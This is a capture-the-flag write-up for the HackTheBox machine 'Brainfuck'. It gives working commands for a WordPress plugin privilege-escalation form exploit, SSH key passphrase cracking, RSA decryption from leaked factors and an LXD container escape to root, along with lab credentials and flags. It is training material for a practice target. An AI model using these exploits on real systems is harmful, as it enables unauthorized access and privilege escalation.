HackTheBox Brainfuck
Writeup for HackTheBox Brainfuck
Machine Synopsis
Key Exploitation Techniques:
- DNS Enumeration (SSL Certificate SANs)
- WordPress Plugin Vulnerability (WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation via
loginGuestFacebook
) - Credential Harvesting (SMTP password from WP config)
- Mailbox Enumeration (POP3/IMAP access)
- Vigenere Cipher Decryption (with known plaintext)
- Encrypted SSH Key Cracking (John the Ripper)
- RSA Decryption (known p, q, e factors)
- LXD Privilege Escalation (Abuse of
lxd
group membership)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ nmap -p- --min-rate 10000 10.10.10.17
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https
$ nmap -p 22,25,110,143,443 -sCV 10.10.10.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES USER SASL(PLAIN) AUTH-RESP-CODE CAPA UIDL TOP PIPELINING
143/tcp open imap Dovecot imapd
|_imap-capabilities: post-login capabilities SASL-IR LITERAL+ ENABLE more IMAP4rev1 IDLE LOGIN-REFERRALS listed have ID OK Pre-login AUTH=PLAINA0001
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_http-title: Welcome to nginx!
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The SSL certificate for HTTPS on port 443 revealed hostnames brainfuck.htb
and sup3rs3cr3t.brainfuck.htb
. These were added to /etc/hosts
.
1
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb
The certificate also showed orestis@brainfuck.htb
as an email address.
1
2
3
4
5
6
7
emailAddress = orestis@brainfuck.htb
CN = brainfuck.htb
OU = IT
O = Brainfuck Ltd.
L = Athens
ST = Attica
C = GR
wpscan
against https://brainfuck.htb
identified the wp-support-plus-responsive-ticket-system
plugin version 7.1.3, which was outdated.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ wpscan --url https://brainfuck.htb --disable-tls-checks
...
[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Version: 7.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
$ searchsploit wordpress support plus
...
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection | php/webapps/40939.txt
...
searchsploit
confirmed known vulnerabilities for this plugin version, including privilege escalation (41006.txt) and SQL Injection (40939.txt).
Exploitation
WordPress Admin Access (loginGuestFacebook)
Exploiting the privilege escalation vulnerability in WP Support Plus Responsive Ticket System version 7.1.3 was performed via a crafted HTML form (hehe.html
). This specific vulnerability involved abusing the loginGuestFacebook
action to gain admin privileges
1
2
3
4
5
6
7
$ cat hehe.html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Submitting this form, then navigating to https://brainfuck.htb/wp-admin/admin-ajax.php
and refreshing https://brainfuck.htb/
, granted administrative access to the WordPress site.
SMTP Credential Discovery & Mailbox Enumeration
Within the WordPress admin panel, the WP SMTP plugin configuration revealed SMTP credentials: orestis:kHGuERB29DNiNE
.
These were used to access Orestis’s mailbox via POP3/IMAP
Connecting to the POP3 service on port 110 (e.g., using telnet
or a mail client) with these credentials, an interesting email was found. This email contained credentials for a “secret forum” on sup3rs3cr3t.brainfuck.htb
: orestis:kIEnnfEKJ#9UmdO
.
Vigenere Cipher Decryption & SSH Key Discovery
Accessing one of the threads revealed an encrypted message. A plaintext segment from the thread, “Pieagnm - Jkoijeg nbw zwx mle grwsnn,” was recognized as similar to “Orestis - Hacking for fun and profit.”
This suggested a Vigenere cipher.
Using the known plaintext-ciphertext pair, the Vigenere key was determined to be fuckmybrain
.
Applying this key to the full encrypted message content revealed a link to an SSH private key: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
.
Encrypted SSH Key Cracking & SSH Access (orestis)
The id_rsa
file downloaded from the discovered link was encrypted.
1
2
3
4
5
6
7
8
9
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382
mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
...
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----
The SSH private key was converted to a crackable hash format using ssh2john
. john
was then used with rockyou.txt
to crack the hash.
1
2
3
4
5
6
7
8
$ ssh2john id_rsa >> hash
$ cat hash
id_rsa:$sshng$1$16$6904FEF19397786F75BE2D7762AE7382$1200$9a779a83f60263c0...
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
...
3poulakia! (id_rsa)
The passphrase was 3poulakia!
. Permissions were set on the id_rsa
file.
1
$ chmod 600 id_rsa
An SSH connection was established to 10.10.10.17
as orestis
using the key and passphrase.
1
2
3
4
5
6
7
8
9
$ ssh -i id_rsa orestis@10.10.10
Enter passphrase for key 'id_rsa': 3poulakia!
...
You have mail.
orestis@brainfuck:~$ groups
orestis adm cdrom dip plugdev lxd lpadmin sambashare
orestis@brainfuck:~$ cat user.txt
2c11cfbc5b959f73ac15a3310bd097c9
The user.txt
flag was retrieved. orestis
was also a member of the lxd
group, indicating another potential privilege escalation path.
Privilege Escalation
RSA Decryption (Intended Path)
In orestis
’s home directory, an encrypt.sage
script and corresponding debug.txt
and output.txt
files were found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
orestis@brainfuck:~$ ls
debug.txt encrypt.sage mail output.txt user.txt
orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
...
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
...
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
encrypt.sage
encrypted root.txt
using RSA, logging p
, q
, and e
to debug.txt
and the ciphertext c
to output.txt
. This provided all necessary components to decrypt the RSA ciphertext.
1
2
3
4
5
6
orestis@brainfuck:~$ cat debug.txt
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
orestis@brainfuck:~$ cat output.txt
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
A Python script (decrypt_rsa.py
) was used to perform the RSA decryption, given p
, q
, e
, and c
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
$ cat decrypt_rsa.py
def egcd(a, b):
# ... (Euclidean algorithm for GCD and extended GCD)
return gcd, x, y
def main():
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
n = p * q
phi = (p - 1) * (q - 1)
gcd, a, b = egcd(e, phi)
d = a
pt = pow(ct, d, n)
print( "pt: " + str(pt) )
if __name__ == "__main__":
main()
$ python decrypt_rsa.py
n: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750
The decrypted plaintext pt
was an integer. Converting this integer to hexadecimal and then converting it back to text revealed the root flag
1
2
3
4
5
6
$ python3
>>> pt=24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> print(pt)
24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> hex(pt)
'0x3665666331613564626238393034373531636536353636613330356262386566'
The root flag is 6efc1a5dbb8904751ce6566a305bb8ef
.
Alternative Privilege Escalation: LXD
orestis
was a member of the lxd
group, which allows for LXD privilege escalation. This involves creating a privileged LXD container, mounting the host’s root filesystem, and executing commands within the container to affect the host.
Initial lxc
commands confirmed no existing containers or images:
1
2
3
4
5
6
7
8
9
10
orestis@brainfuck:~$ lxc list
Generating a client certificate. This may take a minute...
...
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
orestis@brainfuck:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+
A base64-encoded LXD Alpine image (bob.tar.bz2
) was provided in this writeup. This was decoded and imported as an LXD image.
1
2
3
4
# Decode the base64 string and decompress
orestis@brainfuck:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhcvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
orestis@brainfuck:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d
A new privileged LXD container, bobVM
, was initialized and configured to mount the host’s root filesystem (/
) to /r
within the container.
1
2
3
4
orestis@brainfuck:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
orestis@brainfuck:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
The container was started, and a shell was executed within it. From inside, the host’s root filesystem was accessible, allowing root.txt
to be read.
1
2
3
4
5
6
7
orestis@brainfuck:~$ lxc start bobVM
orestis@brainfuck:~$ lxc exec bobVM -- /bin/sh
# whoami
root
# cat /r/root/root.txt
6efc1a5dbb8904751ce6566a305bb8ef
The root.txt
flag was retrieved.